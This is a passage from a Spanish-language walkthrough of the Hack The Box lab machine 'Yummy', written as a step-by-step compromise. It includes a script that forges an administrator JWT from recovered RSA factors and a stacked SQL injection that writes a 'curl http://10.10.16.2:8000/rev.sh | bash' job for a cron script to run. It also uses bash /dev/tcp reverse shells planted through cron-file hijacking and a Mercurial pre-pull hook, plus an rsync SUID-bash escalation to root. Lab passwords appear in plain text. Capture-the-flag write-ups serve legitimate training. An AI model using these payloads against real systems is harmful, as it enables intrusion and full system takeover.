        key_data ={'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
        key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
        # Generate the key new with the numbers
        private_key_bytes = key.export_key()

        private_key = serialization.load_pem_private_key(
                                    private_key_bytes,
                                    password=None,
                                    backend=default_backend()
                                    )
        public_key = private_key.public_key()
        # Modify original token data
        original_token_data = jwt.decode(token, public_key, algorithms=["RS256"])
        original_token_data["role"]="administrator"
        original_token_data["exp"]=int((datetime.now(timezone.utc)+ timedelta(hours=3650)).timestamp())
        # Forge the new token
        new_jwt_token = jwt.encode(original_token_data, private_key, algorithm='RS256')
        return new_jwt_token


def check_if_cookie_works(jwt_token):
    url = 'http://yummy.htb/admindashboard'
    cookies = {'X-AUTH-Token' : jwt_token}
    # Make the request
    r = requests.get(url, cookies=cookies, allow_redirects=False)
    if r.status_code != 200:
        print(f"[-] Invalid status code {r.status_code!r}")
        return
    if '/login' in r.text:
        print("[-] Cookie generated does not seems to work.")
        return
    print(f"[+] JWT seems to work in {url!r}!")


def main()->None:
    # Get token from user
    args: argparse.Namespace = parse_arguments()
    # Get 'n' and 'e' from JWT obtained from 'HTB Yummy' machine
    n, e = get_numbers_from_original_token(args.token)
    # Modify original token
    new_token = get_numbers(args.token, n, e)
    # Print the result
    print(f"[+] Generated JWT token:\n\n{new_token}\n")
    # Check if the cookie works sending it to the target machine
    check_if_cookie_works(new_token)


if __name__ == "__main__":
    main()

Lo ejecutamos:

❯ python3 modify_original_token.py -t 'eyJhbGc<SNIP>94gzOkXs'

======================================================================
                         Original JWT Info
======================================================================
Header:
{
  "alg": "RS256",
  "typ": "JWT"
}

<SNIP>

ey<SNIP>FXjG0vk

[+] JWT seems to work in 'http://yummy.htb/admindashboard'!
Nota
Si por alguna razón obtenemos el error jwt.exceptions.ExpiredSignatureError: Signature has expired en este script ello quiere decir que el token expiró y, por ende, debemos crear un nuevo usuario, extraer su JWT y volver a correr el script anterior tan pronto sea posible.

Usando este nuevo JWT generado y visitando http://yummy.htb/admindashboard funciona. Podemos ver ahora algunas nuevas peticiones:

Yummy 8

Notamos que hay una búsqueda por email. Buscando por algo tan simple como test somos redirigidos a http://yummy.htb/admindashboard?s=test&o=ASC. Pero si buscamos por algo como:

http://yummy.htb/admindashboard?s=test&o=ASC%27%20or%201=1--%20-

en la url, la página muestra un error:

Yummy 9

Parece ser vulnerable a SQL Injection.

De vuelta a nuestro script de LFI, recuerdo que al leer archivos el output de alguno de ellos mostraban cosas relacionadas con MySQL. Revisándolos tenemos:

❯ python3 lfi.py -e 'gunzf0x@gunzf0x.htb' -u 'gunzf0x' -p 'gunzf0x123!$' -f '/data/scripts/table_cleanup.sh'

Muestra:

#!/bin/sh

/usr/bin/mysql -h localhost -u chef yummy_db -p'3wDo7gSRZIwIHRxZ!' < /data/scripts/sqlappointments.sql

Y revisando /data/scripts/sqlappointments.sql muestra:

TRUNCATE table users;
TRUNCATE table appointments;
INSERT INTO appointments (appointment_email, appointment_name, appointment_date, appointment_time, appointment_people, appointment_message, role_id) VALUES ("chrisjohnson@email.net", "Chris Johnson", "2024-05-25", "11:45", "2", "No allergies, prefer table by the window", "customer");
<SNIP>

De manera que este es el cronjob borrando usuarios cada 15 minutos.

Por otro lado, el script llamado /data/scripts/dbmonitor.sh muestra:

#!/bin/bash

timestamp=$(/usr/bin/date)
service=mysql
response=$(/usr/bin/systemctl is-active mysql)

if [ "$response" != 'active' ]; then
    /usr/bin/echo "{\"status\": \"The database is down\", \"time\": \"$timestamp\"}" > /data/scripts/dbstatus.json
    /usr/bin/echo "$service is down, restarting!!!" | /usr/bin/mail -s "$service is down!!!" root
    latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
    /bin/bash "$latest_version"
else
    if [ -f /data/scripts/dbstatus.json ]; then
        if grep -q "database is down" /data/scripts/dbstatus.json 2>/dev/null; then
            /usr/bin/echo "The database was down at $timestamp. Sending notification."
            /usr/bin/echo "$service was down at $timestamp but came back up." | /usr/bin/mail -s "$service was down!" root
            /usr/bin/rm -f /data/scripts/dbstatus.json
        else
            /usr/bin/rm -f /data/scripts/dbstatus.json
            /usr/bin/echo "The automation failed in some way, attempting to fix it."
            latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
            /bin/bash "$latest_version"
        fi
    else
        /usr/bin/echo "Response is OK."
    fi
fi

[ -f dbstatus.json ] && /usr/bin/rm -f dbstatus.json

Este script revisa si MySQL está corriendo. Si no, ejecuta un archivo llamado fixer-v* en el directorio /data/scripts. La cosa es que éste ejecutará el archivo llamado fixer-v<number>, donde <number> es el mayor número. De manera que si tenemos 3 archivos llamados fixer-v1, fixer-v2 y fixer-v3 el cronjob ejecutará fixer-v3.

Es así como tenemos la idea de escribir un archivo file-vZ (dado que las letras en mayúsculas son almacenadas al final) en /data/script y esperar al cronjob para ejecutarla. Primero, necesitamos “corromper” el archivo dbstatus.json. MySQL no puede sobreescribir archivos, pero si revisamos /data/scripts/dbstatus.json este archivo no existe. De manera que podemos escribir este archivo usando nuestra sesión en la ruta /admindashboard:

http://yummy.htb/admindashboard?s=123&o=ASC;%20SELECT%20%27test%27%20INTO%20OUTFILE%20%27/data/scripts/dbstatus.json%27;--%20-

La cual es la SQLi urlencodeada:

SELECT 'test' INTO OUTFILE '/data/scripts/dbstatus.json';-- -

El archivo ha sido aparentemente escrito:

❯ python3 lfi.py -e 'gunzf0x@gunzf0x.htb' -u 'gunzf0x' -p 'gunzf0x123!$' -f '/data/scripts/dbstatus.json'

<SNIP>
[+] Output obtained:

<!doctype html>
<html lang=en>
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>

De manera que escribamos ambos archivos necesarios para el payload usando SQL:

; select 'test' INTO OUTFILE '/data/scripts/dbstatus.json'; select 'curl http://10.10.16.2:8000/rev.sh | bash' INTO OUTFILE '/data/scripts/fixer-v9999';-- -

donde 10.10.16.2 es nuestra IP de atacantes y 443 es el puerto en el cual nos pondremos en escucha con netcat.

Urlencodeamos este payload con Burpsuite, el cual genera el payload-urlencodeado:

%3b%20%73%65%6c%65%63%74%20%27%74%65%73%74%27%20%49%4e%54%4f%20%4f%55%54%46%49%4c%45%20%27%2f%64%61%74%61%2f%73%63%72%69%70%74%73%2f%64%62%73%74%61%74%75%73%2e%6a%73%6f%6e%27%3b%20%73%65%6c%65%63%74%20%27%63%75%72%6c%20%68%74%74%70%3a%2f%2f%31%30%2e%31%30%2e%31%36%2e%32%3a%38%30%30%30%2f%72%65%76%2e%73%68%20%7c%20%62%61%73%68%27%20%49%4e%54%4f%20%4f%55%54%46%49%4c%45%20%27%2f%64%61%74%61%2f%73%63%72%69%70%74%73%2f%66%69%78%65%72%2d%76%39%39%39%39%27%3b%2d%2d%20%2d

Creamos un simple archivo rev.sh con el contenido:

#!/bin/bash
bash -c 'bash -i >& /dev/tcp/10.10.16.2/443 0>&1'

La asignamos permisos de ejecución con chmod +x y lo exponemos en un servidor Python HTTP temporal en el puerto 8000 (ejecutando python3 -m http.server 8000). Nos ponemos además en escucha con nc en el puerto 443.

Visitamos así http://yummy.htb/admindashboard?s=123&o=ASC<url-encoded-payload>, el cual en mi caso es:

http://yummy.htb/admindashboard?s=123&o=ASC%3b%20%73%65%6c%65%63%74%20%27%74%65%73%74%27%20%49%4e%54%4f%20%4f%55%54%46%49%4c%45%20%27%2f%64%61%74%61%2f%73%63%72%69%70%74%73%2f%64%62%73%74%61%74%75%73%2e%6a%73%6f%6e%27%3b%20%73%65%6c%65%63%74%20%27%63%75%72%6c%20%68%74%74%70%3a%2f%2f%31%30%2e%31%30%2e%31%36%2e%32%3a%38%30%30%30%2f%72%65%76%2e%73%68%20%7c%20%62%61%73%68%27%20%49%4e%54%4f%20%4f%55%54%46%49%4c%45%20%27%2f%64%61%74%61%2f%73%63%72%69%70%74%73%2f%66%69%78%65%72%2d%76%39%39%39%39%27%3b%2d%2d%20%2d

En un navegador de internmet como Firefox.

Luego de algún tiempo obtenemos una conexión. Obtenemos una shell como el usuario mysql:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.36] 57734
bash: cannot set terminal process group (3704): Inappropriate ioctl for device
bash: no job control in this shell
mysql@yummy:/var/spool/cron$ whoami

whoami
mysql

Podemos así usar las credenciales halladas previamente en app.py para MySQL:

mysql@yummy:/var/spool/cron$ mysql -u chef -p'3wDo7gSRZIwIHRxZ!' -h localhost yummy_db

<SNIP>
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> use yummy_db;

Database changed

mysql> show tables;

+--------------------+
| Tables_in_yummy_db |
+--------------------+
| appointments       |
| users              |
+--------------------+
2 rows in set (0.00 sec)

mysql> select * from users;

Empty set (0.00 sec)

Pero fuera de datos del blog no hay mucha información importante. Esto es un rabbit hole, de manera que no pierdan el tiempo.

Podemos recordar los cronjobs encotnrados en /etc/crontab. /data/scripts/app_backup.sh estaba siendo ejecutada por www-data cada segundo. Revisamos si podemos escribir sobre este archivo renombrándolo:

mysql@yummy:/var/spool/cron$ mv /data/scripts/app_backup.sh /data/scripts/app_backup_backup.sh

mysql@yummy:/var/spool/cron$ ls -la /data/scripts/app_backup*
-rw-r--r-- 1 root root 90 Sep 26 15:31 /data/scripts/app_backup_backup.sh

Podemos. Renombramos como /data/scripts/app_backup.sh un nuevo archivo rev.sh que creamos para obtener una nueva reverse shell:

mysql@yummy:/var/spool/cron$ echo -e '#!/bin/bash\nbash -c "bash -i >& /dev/tcp/10.10.16.2/443 0>&1"' > /tmp/rev.sh

mysql@yummy:/var/spool/cron$ chmod +x /tmp/rev.sh

mysql@yummy:/var/spool/cron$ mv /tmp/rev.sh /data/scripts/app_backup.sh -f

mysql@yummy:/var/spool/cron$ cat /data/scripts/app_backup.sh

#!/bin/bash
bash -c "bash -i >& /dev/tcp/10.10.16.2/443 0>&1"

Empezamos un nuevo listener con netcat por el puerto 443. Luego de un tiempo obtenemos una nueva shell como el usuario www-data:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.36] 56358
bash: cannot set terminal process group (4522): Inappropriate ioctl for device
bash: no job control in this shell
www-data@yummy:~$ whoami

whoami
www-data

Dado que ahora somos www-data deberíamos de mirar en /var/www. Mirando allí tenemos un directorio llamado app-qatesting y tambiñen un directorio oculto llamado .hg dentro de éste:

ls -la /var/www/app-qatesting/.hg

total 64
drwxrwxr-x 6 qa       qa 4096 May 28 14:37 .
drwxrwx--- 7 www-data qa 4096 May 28 14:41 ..
-rw-rw-r-- 1 qa       qa   57 May 28 14:26 00changelog.i
-rw-rw-r-- 1 qa       qa    0 May 28 14:28 bookmarks
-rw-rw-r-- 1 qa       qa    8 May 28 14:26 branch
drwxrwxr-x 2 qa       qa 4096 May 28 14:37 cache
-rw-rw-r-- 1 qa       qa 7102 May 28 14:37 dirstate
-rw-rw-r-- 1 qa       qa   34 May 28 14:37 last-message.txt
-rw-rw-r-- 1 qa       qa   11 May 28 14:26 requires
drwxrwxr-x 4 qa       qa 4096 May 28 14:37 store
drwxrwxr-x 2 qa       qa 4096 May 28 14:28 strip-backup
-rw-rw-r-- 1 qa       qa    8 May 28 14:26 undo.backup.branch.bck
-rw-rw-r-- 1 qa       qa 7102 May 28 14:34 undo.backup.dirstate.bck
-rw-rw-r-- 1 qa       qa    9 May 28 14:37 undo.desc
drwxrwxr-x 2 qa       qa 4096 May 28 14:37 wcache

Buscamos por contraseñas dentro de este directorio con grep y tenemos algo:

www-data@yummy:~/app-qatesting/.hg$ grep -ir "password" .

grep -ir "password" .
grep: ./wcache/checkisexec: Permission denied
grep: ./store/data/app.py.i: binary file matches

Hay binarios que parecen tener contraseñas.

Usamos la flag -a con grep para ver el contenido del binario y ver las posibles contraseñas:

www-data@yummy:~/app-qatesting/.hg$ grep -ir "password" . -a

grep -ir "password" . -a
grep: ./wcache/checkisexec: Permission denied
./store/data/app.py.i:    'password': '3wDo7gSRZIwIHRxZ!',
./store/data/app.py.i:    'password': 'jPAd!XQCtn8Oc@2B',

La primera contraseña es la misma hallada previamente en el archivo app.py, la cual ya vimos que no funcionaban para los usuarios qa ni dev. La segunda contraseña es nueva.

Usamos NetExec para revisar si esta contraseña es válida para los usuarios qa o dev:

❯ nxc ssh 10.10.11.36 -u 'dev' -p 'jPAd!XQCtn8Oc@2B'

SSH         10.10.11.36     22     10.10.11.36      [*] SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.5
SSH         10.10.11.36     22     10.10.11.36      [-] dev:jPAd!XQCtn8Oc@2B

❯ nxc ssh 10.10.11.36 -u 'qa' -p 'jPAd!XQCtn8Oc@2B'

SSH         10.10.11.36     22     10.10.11.36      [*] SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.5
SSH         10.10.11.36     22     10.10.11.36      [+] qa:jPAd!XQCtn8Oc@2B  Linux - Shell access!

La contraseña funciona para el usuario qa.

Usamos esta contraseña para loguearnos a través de SSH como el usuario qa:

❯ sshpass -p 'jPAd!XQCtn8Oc@2B' ssh -o stricthostkeychecking=no qa@10.10.11.36

<SNIP>

qa@yummy:~$

Podemos obtener la flag de usuario en el directorio /home de este usuario.


Root Link to heading

Revisando qué es lo que puede correr este usuario con sudo, éste puede correr el binario hg como el usuario dev:

qa@yummy:~$ sudo -l

[sudo] password for qa: jPAd!XQCtn8Oc@2B
Matching Defaults entries for qa on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User qa may run the following commands on localhost:
    (dev : dev) /usr/bin/hg pull /home/dev/app-production/

Éste es un script de Python:

qa@yummy:~$ file /usr/bin/hg

/usr/bin/hg: Python script, ASCII text executable

Leyendo tenemos:

#! /usr/bin/python3
#
# mercurial - scalable distributed SCM
#
# Copyright 2005-2007 Olivia Mackall <olivia@selenic.com>
#
# This software may be used and distributed according to the terms of the
# GNU General Public License version 2 or any later version.

import os
import sys

libdir = '@LIBDIR@'

if libdir != '@' 'LIBDIR' '@':
    if not os.path.isabs(libdir):
        libdir = os.path.join(
            os.path.dirname(os.path.realpath(__file__)), libdir
        )
        libdir = os.path.abspath(libdir)
    sys.path.insert(0, libdir)

# Make `pip install --user ...` packages available to the official Windows
# build.  Most py2 packaging installs directly into the system python
# environment, so no changes are necessary for other platforms.  The Windows
# py2 package uses py2exe, which lacks a `site` module.  Hardcode it according
# to the documentation.
if getattr(sys, 'frozen', None) == 'console_exe':
    vi = sys.version_info
    appdata = os.environ.get('APPDATA')
    if appdata:
        sys.path.append(
            os.path.join(
                appdata,
                'Python',
                'Python%d%d' % (vi[0], vi[1]),
                'site-packages',
            )
        )

try:
    from hgdemandimport import tracing
except ImportError:
    sys.stderr.write(
        "abort: couldn't find mercurial libraries in [%s]\n"
        % ' '.join(sys.path)
    )
    sys.stderr.write("(check your install and PYTHONPATH)\n")
    sys.exit(-1)

with tracing.log('hg script'):
    # enable importing on demand to reduce startup time
    import hgdemandimport

    hgdemandimport.enable()

    from mercurial import dispatch

    dispatch.run()

Luego de investigar un poco esta es una librería de Python para Mercurial:

Información
Mercurial is a distributed open source control (also known as “version control”) system written in Python for tracking and handling file modifications. Mercurial can be used as the version control system for Python projects.

Este software es una alternativa a Git para gestioanr versiones de software, etc. Podemos obtener más información acerca de éste en su página web y esta página.

Desafortunadamente, la documentación no es tan clara. Pero somos capaces de hallar esta página explicando cómo usar esta aplicación. Un componente que se ve interesante es hooks:

Yummy 10

Podemos ejecutar scripts de Python o comandos. El otro parámetro interesante es pre-<command>:

Yummy 11

Podríamos pasar este parámetro como pre-pull (dado que éste es el único comando que podemos correr como dev) en hook.

Pero si lo ejecutamos el aplicativo nos pregunta por un archivo de configuración:

qa@yummy:~$ /usr/bin/hg config -l

abort: can't use --local outside a repository

Es así como vamos al directorio /tmp y empezamos un nuevo proyecto con hg allí para crear los archivos de configuración necesarios:

qa@yummy:~$ cd /tmp

qa@yummy:/tmp$ hg init

qa@yummy:/tmp$ hg config -l

Editamos el archivo de configuración con nano y le ponemos el contenido:

[hook]
pre-pull = /tmp/evil.sh

Y creamos el archivo a ser ejecutado usando la misma terminal:

qa@yummy:/tmp$ echo -e '#!/bin/bash\nbash -c "bash -i >& /dev/tcp/10.10.16.2/443 0>&1"' > /tmp/evil.sh

qa@yummy:/tmp$ chmod +x /tmp/evil.sh

Este script debería de mandarnos una nueva reverse shell al ser ejecutado.

Le asignamos permisos de ejecución al directorio .hg, empezamos un nuevo listner con netcat y ejecutamos el payload:

qa@yummy:/tmp$ chmod -R 777 .hg

qa@yummy:/tmp$ sudo -u dev /usr/bin/hg pull /home/dev/app-production/

Obtenemos una nueva conexión como el usuario dev:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.36] 58430
I'm out of office until November  3th, don't call me
dev@yummy:/tmp$ whoami

whoami
dev

Revisando qué es lo que puede correr este nuevo usuario con sudo obtenemos:

dev@yummy:/tmp$ sudo -l

sudo -l
Matching Defaults entries for dev on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User dev may run the following commands on localhost:
    (root : root) NOPASSWD: /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* /opt/app/

Este nuevo usuario puede correr la herramienta Rsync como root sin proveer contraseña.

Información
Rsync is a free, command-line tool in Linux that transfers and synchronizes files between local and remote systems.

En esencia, este comando nos permite copiar archivos, de manera recursiva, desde el directorio /home/dev/app/production/* en el directorio /opt/app (excluyendo archivos .hg).

Así, podemos hacer lo siguiente:

  1. Crear una copia del binario /bin/bash en /home/dev/app/production.
  2. Asignarle a este archivo permisos SUID. No obstante, el dueño de este archivo será el usuario dev, no root.
  3. Podemos usar el comando sudo que se nos permite ejecutar para cambiar el propietario de la copia creada a root usando la flag --chown (como se puede ver en este post).
  4. La copia de /bin/bash tendrá permisos SUID cuyo nuevo propietario será root; por lo que nos podremos convertir en este usuario utilizando la flag -p al ejecutar este archivo.

Necesitamos hacer todos estos pasos de golpe dado que hay otro cronjob (¿cuántos hay?) constantemente restaruando los permisos de los archivos. Por ende, ejecutamos:

dev@yummy:~$ cp /bin/bash /home/dev/app-production/bash && chmod u+s /home/dev/app-production/bash && sudo /usr/bin/rsync -a --exclude=.hg /home/dev/app-production/* --chown root:root /opt/app/ && /opt/app/bash -p

whoami
root

Funcionó. GG. Podemos leer la flag del usuario root en el directorio /root.

~Happy Hacking